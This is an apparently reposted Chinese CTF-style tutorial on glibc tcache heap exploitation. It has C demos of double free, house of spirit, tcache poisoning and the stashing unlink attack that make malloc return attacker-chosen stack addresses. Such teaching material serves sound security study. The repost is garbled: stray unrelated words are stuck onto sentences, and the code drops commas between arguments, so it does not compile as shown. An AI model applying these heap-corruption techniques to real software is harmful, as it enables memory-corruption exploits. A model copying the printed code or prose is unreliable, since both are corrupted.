PWN:Tcache Attack原理


ubuntu 18.04 下测试web


tcache介绍


源码看不动,说一下经过实验获得的:ubuntu

同一大小的 chunk free 以后前 7 个会放到一个 tcache 链表里面,不一样大小的放在不一样的链表中数组



最大能放 0x408 的,再大就要按照本来的那样放到 unsortedbin 中了微信



程序再次申请内存块的时候首先判断在 tchche 中是否存在,若是存在的话会先从 tcache 中拿编辑器


tcache_dup


#include <stdio.h>
#include <stdlib.h>

int main()
{
 fprintf(stderr"先申请一块内存\n");
 int *a = malloc(8);

 fprintf(stderr"申请的内存地址是: %p\n", a);
 fprintf(stderr"对这块内存地址 free两次\n");
 free(a);
 free(a);

 fprintf(stderr"这时候链表是这样的 [ %p, %p ].\n", a, a);
 fprintf(stderr"接下来再去 malloc 两次: [ %p, %p ].\n"malloc(8), malloc(8));
    fprintf(stderr"ojbk\n");
 return 0;
}


 
  

gcc -g tcache_dup.c测试

运行以后的结果:url



一开始申请了 0x8 大小的 chunk,后来 free了两次spa



而后再去申请的话也会申请这俩在 tcache 中的,因此后面输出的 malloc 的地址仍是同样的.net


tcache_house_of_spirit


#include <stdio.h>
#include <stdlib.h>

int main()
{
    malloc(1);
    unsigned long long *a;
    unsigned long long fake_chunks[10];
    fprintf(stderr"fake_chunks[1] 在 %p\n", &fake_chunks[1]);
    fprintf(stderr"fake_chunks[1] 改为 0x40 \n");
    fake_chunks[1] = 0x40;
    fprintf(stderr"把 fake_chunks[2] 的地址赋给 a, %p.\n", &fake_chunks[2]);
    a = &fake_chunks[2];
    fprintf(stderr"free 掉 a\n");
    free(a);
    fprintf(stderr"再去 malloc(0x30),在能够看到申请来的结果在: %p\n"malloc(0x30));
    fprintf(stderr"ojbk\n");
}



而后把数组的 index2 的地址赋给了 a,以后去 free a,再去申请回来的话就会把 a 申请回来,这样就申请了 fake chunks[2] 那里3d



tcache_poisoning


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
    setbuf(stdinNULL);
    setbuf(stdoutNULL);
    size_t stack_var;
    printf("定义了一个变量 stack_var,咱们想让程序 malloc 到这里 %p.\n", (char *)&stack_var);

    printf("接下来申请两个 chunk\n");
    intptr_t *a = malloc(128);
    printf("chunk a 在: %p\n", a);
    intptr_t *b = malloc(128);
    printf("chunk b 在: %p\n", b);

    printf("free 掉这两个 chunk\n");
    free(a);
    free(b);

    printf("如今 tcache 那个链表是这样的 [ %p -> %p ].\n", b, a);
    printf("咱们把 %p 的前 %lu 字节(也就是 fd/next 指针)改为 stack_var 的地址:%p", b, sizeof(intptr_t), &stack_var);
    b[0] = (intptr_t)&stack_var;
    printf("如今 tcache 链表是这样的 [ %p -> %p ].\n", b, &stack_var);

    printf("而后一次 malloc : %p\n"malloc(128));
    printf("如今 tcache 链表是这样的 [ %p ].\n", &stack_var);

    intptr_t *c = malloc(128);
    printf("第二次 malloc: %p\n", c);
    printf("ojbk\n");

    return 0;
}


把 b 的 fd 指针改为那个变量地址



这时候 tcache 的链表是这样的



而后连续申请两个 chunk,来看一下申请到的地址是啥样的



tcache_stashing_unlink_attack


#include <stdio.h>
#include <stdlib.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;
    unsigned long *pp;

    fprintf(stderr"stack_var 是咱们但愿分配到的地址,咱们首先把 &stack_var[2] 写到 stack_var[3] 来绕过 glibc 的 bck->fd=bin(即 fake chunk->bk 应该是一个可写的地址)\n");
    stack_var[3] = (unsigned long)(&stack_var[2]);
    fprintf(stderr"修改以后 fake_chunk->bk 是:%p\n",(void*)stack_var[3]);
    fprintf(stderr"stack_var[4] 的初始值是:%p\n",(void*)stack_var[4]);
    fprintf(stderr"如今申请 9 个 0x90 的 chunk\n");

    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }
    fprintf(stderr"先释放 6 个,这 6 个都会放到 tcache 里面\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }
    fprintf(stderr"接下来的释放的三个里面第一个是最后一个放到 tcache 里面的,后面的都会放到 unsortedbin 中\n");
    
    free(chunk_lis[1]);
    //接下来的就是放到 unsortedbin 了
    free(chunk_lis[0]);
    free(chunk_lis[2]);
    fprintf(stderr"接下来申请一个大于 0x90 的 chunk,chunk0 和 chunk2 都会被整理到 smallbin 中\n");
    malloc(0xa0);//>0x90
    
    fprintf(stderr"而后再去从 tcache 中申请两个 0x90 大小的 chunk\n");
    malloc(0x90);
    malloc(0x90);

    fprintf(stderr"假设有个漏洞,能够把 victim->bk 的指针改写成 fake_chunk 的地址: %p\n",(void*)stack_var);
    chunk_lis[2][1] = (unsigned long)stack_var;
    fprintf(stderr"如今 calloc 申请一个 0x90 大小的 chunk,他会把一个 smallbin 里的 chunk0 返回给咱们,另外一个 smallbin 的 chunk2 将会与 tcache 相连.\n");
    pp = calloc(1,0x90);
    
    fprintf(stderr"这时候咱们的 fake_chunk 已经放到了 tcache bin[0xa0] 这个链表中,它的 fd 指针如今指向下一个空闲的块: %p, bck->fd 已经变成了 libc 的地址: %p\n",(void*)stack_var[2],(void*)stack_var[4]);
    target = malloc(0x90);  
    fprintf(stderr"再次 malloc 0x90 能够看到申请到了 fake_chunk: %p\n",(void*)target); 
    fprintf(stderr"ojbk\n");
    return 0;
}


是 chunk0,0x555555757390 是 chunk2



这时候去申请一个 0xa0 大小的 chunk,那俩在 unsorted bin 中的 chunk 整理放在了 small bin 中



再去申请两个 0x90 大小的会从 tcache bin 中分配,这时候 tcache 还剩 5 个



而后把 chunk2 的 bk 改为 &stack_var,在一开始是这样的



改后:



另外此时的 bins



使用 calloc 去申请 0x90 大小的 chunk 会把 0x555555757250 申请出去,这时候若是 tcachebin 还有空闲的位置,剩下的 smallbin 从最后一个 0x7fffffffddc0 开始顺着 bk 连接到 tcachebin 中

参考:

https://dayjun.top/2020/02/07/smallbin在unlink的时候存在的漏洞/



tcache 是后进先出的,因此这时候再去申请就拿到了 0x7fffffffddc0 这个地址的 chunk


本文分享自微信公众号 - 陈冠男的游戏人生(CGN-115)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

相关文章
相关标签/搜索